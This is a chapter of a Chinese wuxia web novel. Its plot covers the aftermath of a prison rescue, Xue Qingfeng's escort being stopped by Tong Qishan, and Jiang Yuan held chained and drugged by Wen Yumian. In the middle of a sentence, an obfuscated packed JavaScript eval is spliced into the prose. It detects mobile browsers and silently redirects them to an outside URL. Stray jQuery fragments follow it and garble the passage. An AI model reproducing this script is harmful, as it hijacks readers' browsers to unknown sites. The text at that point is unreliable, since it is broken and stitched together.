50. 软禁
作品:《天教分付与疏狂》 劫囚一役,南派群雄折损四十余人。盛湖子弟七百有余,死于官兵与鬼面人刀下者三百余,余下四百,人人带伤,步履维艰。
薛青锋将人安置于深山一座废弃山神庙中,江照渠率凌波、邀月弟子连夜救治。待伤势稍稳,便由薛炳之、程骇等人分作数批,乔装改扮,取小道悄悄送回南派。
只是朝廷耳目遍布,关卡重重,要将这四百伤号安然送归,谈何容易。
“薛兰庭呢?”薛青锋道。
薛炳之道:“兰庭师弟说要去营救姜沅少侠。”
“荒唐!京城重地,刚出了那么大的事,他现在露面送死吗?”
“所以兰庭师弟并未带任何弟子,只他一人。”
薛青锋太阳穴突突直跳:“姜沅功夫了得,温氏抓她却不上交朝廷,必有图谋。不管他打的什么算盘,眼下最要紧的,是先护送盛湖弟子平安回南派,再告知姜甫阁,与他商议赎人之策。”
姜郃虽参与了劫囚一事,但似乎并不知道姜沅也来了,在他眼里,姜沅数月闭关,不问俗事。此刻得知她身陷囹圄,他急急传信回焚阳,姜甫阁的回信只有四个字:
任其自生。
这四字冷冰冰,全然不似一个父亲得知孩子遇难时的心情。姜郃心中有异,但随即想:“庄主向来以山庄与武林为重。少庄主为救人被捕,若大张旗鼓宣告身份,必给南派武林招来祸端。庄主虽爱自己的孩子,终究要排在大义之后,怎不叫人敬佩?”
但姜郃并未就此回南派,而是待在京城打探姜沅的消息。
护送之事悄无声息进行着。最后一拨盛湖弟子共计百余人,伤势最重,薛青锋亲自押队,取道北地,绕远路迂回南归。
行至一处山口,前方忽有马蹄声如雷滚来。
薛青锋抬手止住队伍,凝目望去。只见二十余骑从山道拐角处转出,马上人个个棕衣束带,腰悬兵刃,背负羽弓,气势汹汹。为首一人年约五旬,虎背熊腰,面容威严,正是童家庄庄主童旗山。
“我道是谁。”童旗山勒马,目光在众人身上扫过,笑道,“原来是邀月山庄薛庄主。难得亲临北派,竟不叫童某迎接,可不仗义。”
来者不善,薛青锋心中已有计较,不动声色拱手道:“多年未见,童庄主别来无恙。我等不过是进京做了桩丝绸生意,不知有何贵干?”
童旗山翻身下马,负手踱步,打量着队伍中那些紧张兮兮、运送木箱的弟子,眼中精光闪烁:“听闻近日京中出了桩大事,盛湖山庄因谋逆获罪,满门下狱。却有人胆大包天,劫了法场,救走了数百钦犯。朝廷正四处缉拿,薛庄主可曾听说?”
薛青锋道:“有所耳闻。怎么,童庄主这是要替朝廷办案?”
“办案不敢当。”童旗山哈哈一笑,“只是盛湖山庄此举,实在丢了咱们武林人的脸面。与朝廷作对,与谋逆同流,传出去,叫天下人怎么看我们武林?薛庄主你说,若遇着这些残党,是不是该替武林清理门户?”
队伍中的盛湖弟子又是不安,又是愤怒,攥着拳头不置一词。薛青锋面上点头应和:“童庄主所言极是。若遇着,自当清理。”他巴不得童旗山赶紧说完走人,“只是我这些弟子路遇盗匪劫财,身上有伤,急需送回救治,不便久留。薛某先行告退。”
“且慢。”童旗山抬手一拦,“薛庄主难得来北地,岂能就这么走了?上次我儿童非去南派切磋,犹不尽兴,一直念叨着要再讨教讨教。今日既遇上了,南北两派真刀实枪堂堂正正切磋一番,也是武林佳话。”
童非闻言,上前抱拳道:“薛庄主,晚辈折于贵弟子的风采,但回去后日夜苦思,自觉略有进益,还望不吝赐教。”
童旗山接口道:“南北武林鲜少交流,如今可谓百年难遇的时机。小辈打小辈的,我们长辈自然也不能落下。薛庄主的纵情四海剑,童某闻名已久,不知是否有幸领教?”
薛青锋心中一沉。童旗山名为切磋,实则试探。若不打,今日这关过不去,盛湖弟子和南派脸面都保不住;若打,连日奔波加上旧伤,动起手来难免露出破绽。
童武在一旁阴阳怪气道:“怎么,南派的人到了北地,连切磋的胆子都没了?上次在凌波不是挺威风的么?”
童非假意斥道:“阿武,不得无礼,薛庄主乃南派泰斗,胆魄过人,想必定然不会拒绝。”
薛青锋心中呵呵两声,道:“童庄主盛情,薛某本不该推辞。只是有些弟子伤重,实在不宜久留。不如这样,容我先派人将他们安顿妥当,再与贵庄切磋不迟。”
童旗山摇头:“薛庄主这是不给面子了?”
气氛骤然一紧。薛青锋身后众人不动声色地握紧了兵器。
薛青锋暗暗咬牙,回头低声对薛炳之道:“快把薛兰庭叫回来。”
薛炳之会意,趁众人不备,悄悄拨马退入队伍后方,往京城回赶。
……
一片沉沉黑暗中。
脸上传来轻柔湿热的触感。
姜沅头昏脑涨,缓缓睁眼。一袭青衣的温玉勉正坐在床边,用帕子轻轻为她擦拭脸庞,神色极为温柔详和。见她醒了,眸光微微一亮。
“阿姜姐姐,你可不要再让自己身陷险境了。倘若不是我,那该多危险啊。”
姜沅刚想撑起身,就听见锁链哗啦的声音。她的双手,不知何时束上一条精致的玄铁细链,姜沅下意识一扯,脸色大变:“我的内力?”
“放心,只是暂时封住了。”温玉勉将手帕浸入温水中,拧干,语气温和,“圣上震怒,京城人人自危。这些天,你便安心待在这里。”
他抬手欲再为她擦拭,姜沅偏头避过。温玉勉的手顿在半空,也不恼,只将帕子丢开,撑在她身侧低头看她。
“阿姜姐姐不想,我便不擦。我们来聊聊旁的事吧。”
温玉勉轻轻抚着她的发尾,语气不变。
“他对你可真是情根深种呢。你昏迷的这些天,他光是潜入就来了十三次,连韩危都被他打得负了伤。可惜独木难支,终究破不开温府的屏障,差点就断了条腿。”
姜沅捏紧被褥,冷声道:“那还不是多亏了你。”
温玉勉叹道:“如此明目张胆,我不揭穿邀月劫囚一事,已仁至义尽,难不成还要眼睁睁看他将你抢走吗?阿姜,光有武力,不知轻重,毫无头脑之人,怎么就入了你的眼。我比他,究竟差在哪里?”
姜沅冷哼:“照你这个道理,我不如直接嫁给皇帝,可没人比天子更尊贵了。”
温玉勉轻轻一笑,道:“若真是这样,我可就受尽天下人唾骂,也必要坐上那个位置了。”
言语之间,竟似毫不把皇帝放在眼里。
姜沅扭头对上他的视线:“温玉勉,食君之禄,忠君之事,你忠的又是哪个君?连为人之基的忠信礼义都不能做到,又枉论跟别人作比?”
温玉勉道:“时世不同,身不由己。阿姜,你知道我的身份,势必与他人一样厌憎我、鄙夷我。可我若不紧紧把握权力,如何短时间在这吃人的世家朝堂立身?如何发动一切力量去寻回你?可惜,上了贼船,就下不来了。”
姜沅只当他是托词,不欲多言。温玉勉既无杀她的想法,她便看一步走一步了,也不知这该死的药效何时会过去。
温玉勉道:“我宁愿在混乱纷争中死去,也不要在平淡无趣中死去。阿姜,你与我遭遇相同,最能体会失权时的无助。我也知道你想要什么——倘若你与我联手,南派武林,乃至北派,都会成为你的囊中之物。”
姜沅却不信:“我想要的,我自己争,何必委曲求全。”
“我当然信你。”温玉勉伸手,将她额前的碎发理了理,动作自然又带着几分温馨之意,“不过阿姜,你不知道么?圣上许久之前,便想对武林动手。太平之世的武林,永远是一把不安定的刀。此次盛湖事件便是一个最好不过的托词。明年无论谁得了盟主,都无力挽救武林倾颓的命运。”
姜沅向来野心十足,哪怕潜逃在外,也一直将焚阳山庄乃至南派武林视为所有物。朝廷意欲趁南北两派为夺盟主,两败俱伤之时,坐收渔翁之利,姜沅头一个不答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393825|198195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应。
温玉勉察言观色,又道:“侯爷自小征战沙场,崇武尚义,最是向往武林,也敬重江湖人不屈的气节。若他大业一成,自会放武林一条生路。届时依旧是井水不犯河水。阿姜,你有这个本事,何必与那群不识时务之人为伍?”
姜沅沉默片刻。在温玉勉以为她即将动摇之际,忽而一笑,道:“听你这么说,大逆不道这条路是非走不可了。”
“可是他的大业,踩的是谁的尸骨?不依旧是我们这群江湖人的?他敬重江湖气节,盛湖山庄七百余条人命,可也是他敬重的一部分?”
剑南侯若有狼子野心,势必要寻个借口。眼下除了在朝廷铲平武林之时煽动反抗,还有更妙的借口吗?
温玉勉神情微滞,道:“盛湖一事,我也没有预料到。”
姜沅晃了晃腕上锁链,道:“他也不过是想和皇帝一样,需要一条听话的狗。温玉勉,你要是不站在我这边,就不要挡我的路。”
温玉勉缄默半晌,幽幽叹了口气,道,“阿姜,你好好休息吧,我待会儿再来看你。”他端着水盆,推门而出。
姜沅在榻上假寐片刻,见外头毫无动静,便起身走到门边。推了推,门已从外头锁死,窗子亦然。姜沅重重哼了一声,赌气上榻,没一会儿真就陷入了昏睡。
温玉勉似乎打定主意将她禁锢此地。姜沅尝试各种途径离开温府,皆被训练有素的侍卫截住。温玉勉也不多言,只把看管她的侍女小厮换了一批又一批,府内气氛愈发凝重。姜沅意识到什么,便安安静静待在屋子里。
这晚,派侍女为她沐浴,换上女子衣裙,梳了个漂亮发髻,侍女拿着胭脂往她脸上抹时,她十分抗拒,便不了了之。从始至终,锁链都缠缚在她腕上。
温玉勉一日三餐都陪着她用膳,更多时候忙得抽不开身,今夜得空来见她,甫一开门,便怔了好一会儿。向来平静到有些厌世的眼里,有了些属于他这个年纪的赧然。眸光一直黏在她身上,久到让姜沅有几分恼怒,才惋惜着离开。
“阿姜姐姐。”温玉勉走近她身边,嗔怪道,“今日他又来了。我为盛湖弟子逃离北地拖延时间,整日在朝廷忙得团团转,还得防那个小贼。你不若与他修书一封,让他早早死心。”
姜沅忧心薛兰庭,他一人之力,如何与九幽卫抗衡,便道:“好啊。”
温玉勉露出个快乐的笑容,拉起她的手,道:“阿姜,你跟他到哪一步了?他有没有像这样牵过你的手?”
姜沅抽回手。
温玉勉又道:“那他有没有抱过你?”
他伸臂将她搂抱在怀,鼻翼是她发间的幽幽清香。昏暗天色,将房间挤压得异常狭小暧昧。姜沅挣开,温玉勉又抱上来,乐此不彼,道:“阿姜姐姐怎么会看上他。怎么会跟他抱。”
姜沅挣了一会儿,手足竟又开始发软,甚至要扶着他才能站稳。她咬牙切齿道:“你这到底是什么药?”
温玉勉炫耀似的答:“这是府医专为武功高强者研制的,取名‘念奴娇’。中者内力封锁七日,便是萧风扬也冲不破半分。平时如常人,可用力越猛,气力流失越快,直至娇软无力,行动不得不依靠他人。”他顿了顿,微微一笑,“药材难得,一颗千金,正好用在你身上。”
七日。
姜沅心中默默盘算。
温玉勉忽而将她穿膝抱起,走向床榻:“时辰不早了,阿姜,我替你宽衣。”
姜沅如临大敌,瞪眼一路。好在温玉勉替她解衣后,端端正正地盖上了被子,掖好被角,坐在榻前盯着她脸看了好一会儿,才依依不舍离去。
姜沅渐渐能出屋子,在温府转悠,与温玉勉虚与委蛇两日,便到第七日。姜沅尚来不及查看内力,便见温玉勉拿着一颗药丸走近。
姜沅气结,被迫服完药后,在榻上自暴自弃般躺了一天。傍晚出屋溜达,路过温玉勉的书房。
里头亮着烛光,一人推门阔步踏出,身形高大,胸襟敞阔,脸蕴怒容,身上的珠玉金饰在夜晚依旧熠熠生光,赫然是与她交手数次的游凤回。

